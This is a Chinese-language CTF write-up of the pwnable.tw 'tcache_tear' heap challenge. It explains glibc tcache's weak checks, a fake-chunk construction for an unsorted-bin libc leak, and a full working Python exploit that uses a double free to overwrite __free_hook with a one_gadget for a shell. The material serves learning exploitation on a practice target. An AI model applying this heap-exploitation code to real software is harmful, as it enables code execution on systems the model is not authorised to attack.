pwnable-tcache_tear

tcache是我很早就听说,但是一直没有接触或学习的堆管理。这次通过pwnable的这道题,感觉还是了解了tcache的皮毛,感觉这种方式比单纯看ctf-wiki更令我印象深刻

tcache的皮毛

讲tcache的文章太多,我就不抄了,可以自己去看ctf-wiki。我来说说我在做这道题的时候没有想到的tcache的特性

检验极其宽松

一开始看介绍我觉得tcache就是一个范围大一点的fastbin,然后可以连续两次double free,以及不用担心和top chunk合并

但是后来我发现比这个更为宽松,tcache管理完全相信tcache *entries[tc_idx]中的内容,在从*entries[tc_idx]中取出的时候连chunk的size都不检查,chunk size位是p64(0)都没关系

每组entries有各自独立的counts[tc_idx]

这个东西我是早就看到了,但是一直没有感受到它的独特之处。我知道counts[tc_idx]里存放着*entries[tc_idx]的数目(因为它是单向链表,所以要管理一下它的长度?)反正如果free了2次但malloc了3次,对应counts[tc_idx]的值就会变成负数,这时如果再去malloc就会报错。所以我一开始在做这道题的时候一直小心翼翼地管理着counts[tc_idx],free3次malloc3次。但是,我遇到了一个问题,那就是这道题的free次数是有限制的,为8次

但是我为了leak出libc地址,我用了7次free!那接下来就没法搞了。然后我就看了kirin师傅的wp,我很奇怪为什么他都止free两次

然后我发现,他每组double free利用的时候请求的size都不同,也就是说,每次的counts[tc_idx]都是不同组的,相当于用废一个就再找一个新的吧,我觉得这个蛮有意思的。

思路

这道题的漏洞是没有在free后NULL,所以可以double free。但是tcache的bins在管理上和fastbin类似,是单向链表,你是看不到main_arena这类的东西的。所以要看到libc的地址,就必须要搞出别的chunk来,unsorted bin

还有一个问题是他的dump只dump 在bss段的name部分,所以说,我要在name部分伪造一个比tcache大的chunk(>1032字节)

这时候我就遇到了一个问题,我瞎想也没想明白,睡醒以后问问Aris吧。

疑惑

large chunk在free的时候会检查后一个chunk的prevsize和previnuse

prev_inuse我能理解,在后面构造一个0x*1就好了,但是这个chunksize(p) != prev_size(next_chunk(p)我就很懵逼,照理说堆结构是这样的

我应该只要在Size of previous chunk这里填充p64(0x500)就好了,但是还是报错,我看别人是这么构造的

他在prev_size位填充了p64(0),还构造了两个chunk,我就不懂啦,果然是啥也不知道啥也不懂的我

破案了

先给出两种情况的堆情况

0x500的next chunk并没有prev_size位,因为它本身是在使用的。所以报错的原因不在next chunk的prev size位,而是在next next chunk的prev size位。为什么呢?因为堆管理在试图进行合并。我只伪造了next chunk,而next next chunk的部分我并没有伪造,所以next next chunk的prev inuse 位是0,也就是说堆管理会认为next chunk是一个空闲chunk,它就会试图合并,这时候就会检查prev size了,结果我什么都没有伪造,所以就报错了

举个例子,我如果这么搞堆布局,应该也是可以正常free的(但是程序炸了。。。不过没报那个prev size的错了,估计是别的什么原因

抛开这个不说,主要的任务就是在name这里构造chunk,然后free掉它,这样它就进unsorted bin了,就会有main_arena+88在chunk中,然后就能leak了。

leak出来之后就是用同样的double free的方法搞一下__free_hook,搞成one_gadget就行了,每次只free两次的话刚好还剩一次

exp

from PwnContext import *
from libnum import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

def add(size,content):
    sla(':','1')
    sla(':',str(size))
    sla(':',content)

def free():
    sla(':','2')

def dump():
    sla(':','3')

if __name__ == '__main__':        
    # context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    
    ctx.binary = './tcache_tear'
    ctx.remote = ('chall.pwnable.tw', 10207)
    ctx.remote_libc = './libc.so.6'
    ctx.debug_remote_libc = True
    # rs()
    rs('remote')
    print(ctx.libc.path)

    fake_chunk = 0x60203d
    sla(':',p64(0) + p64(0x501))

    #* fake next chunk
    add(0x50,'bbbb')
    # free()
    free()
    free()
    add(0x50,p64(0x602560))
    add(0x50,'cccc')
    add(0x50,p64(0) + p64(0x21) + p64(0)*2 + p64(0) + p64(0x21))  #? corrupted size vs. prev_size
    # add(0x50,p64(0x500) + p64(0x501))

    add(0x60,'a'*0x30)
    free()
    free()
    # free()
    add(0x60,p64(0x602080))
    add(0x60,'b'*0x30)
    # # offset = 0x602088 - 0x602070
    add(0x60,p64(0) + p64(0x602070))  # fake chunk 0x602060
    # add(0x60,'e'*0x50)
    free()
    dump()
    ru(p64(0x501))
    main_arena = u64(ru('$')[:8])
    print "main_arena: " + hex(main_arena)
    libc_base = main_arena - 0x7f564c2bdca0 + 0x7f564bed2000
    print "libc_base: " + hex(libc_base)
    print "__free_hook: " + hex(libc_base + ctx.libc.symbols['__free_hook'])

    add(0x40,p64(0)*3 + p64(0x602070))
    free()
    free()
    # free()
    add(0x40,p64(libc_base + ctx.libc.symbols['__free_hook']))
    add(0x40,'b'*0x30)
    add(0x40,p64(libc_base + 0x4f322))

    # dbg()
    free()


    irt()

好了,做完这个就醒来以后就开始做薯片的re了。作为一个re选手re菜成这样真是无地自容orz

另附:

过会就开始做re!

说点什么

avatar

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据

  Subscribe  
提醒